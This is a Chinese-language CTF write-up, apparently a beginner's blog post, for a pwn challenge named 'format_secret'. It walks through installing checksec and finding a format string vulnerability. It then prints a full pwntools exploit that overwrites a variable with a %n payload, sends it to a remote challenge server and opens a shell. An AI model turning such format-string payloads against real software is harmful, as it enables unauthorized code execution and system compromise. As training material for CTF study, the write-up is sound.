CTF训练(PWN)——format_secret
这次拿到的是一道pwn题,作为新手只能慢慢学习(啊啊啊啊,pwn是真的难~~)
读题
根据描述,知道是格式化字符串漏洞,于是去度娘了解一下格式化字符串漏洞是什么???
这里附上来自同站大佬的链接:https://blog.csdn.net/qq_43394612/article/details/84900668
分析题目
首先下载附件
拿到一个意义不明的白色文件
解题
首先使用checksec进行查看
没有的话可以使用git进行安装
git clone https://github.com/slimm609/checksec.sh.git
执行下面这条命令,在命令行中建立符号链接就可以在terminal中直接使用了
sudo ln -s checksec /usr/local/bin/checksec
可以看到该文件开启了栈溢出保护和堆栈不可执行保护。
打开ida,使用F5大法发现主函数secret
根据逻辑,我们只需将secret变量值改为192即可getshell。同样的在主函数中存在格式化字符串漏洞,我们可以任意控制格式化字符串。
找到secret的地址
通过分析,我们将secret变量修改为192,我们构造如下格式化字符串,并发送,便可成功getshell。
payload = 'aaaa%188c%10$lln' # 8,9
payload += p64(0x60107c) # 10
完整exp:
#!/usr/bin/python
#coding:utf-8
from pwn import * //pwntools小工具,百度就可以搜出来安装方式
io = remote('47.114.137.161',50837) //远程连接服务器io = process('./pwn')
context.log_level = 'debug'
context.update(arch='amd64', os='linux')
payload = 'aaaa%188c%10$lln' # 8,9
payload += p64(0x60107c) # 10 //p64是打包,后面是secret的地址
io.sendline(payload) //发送
io.interactive() //允许互动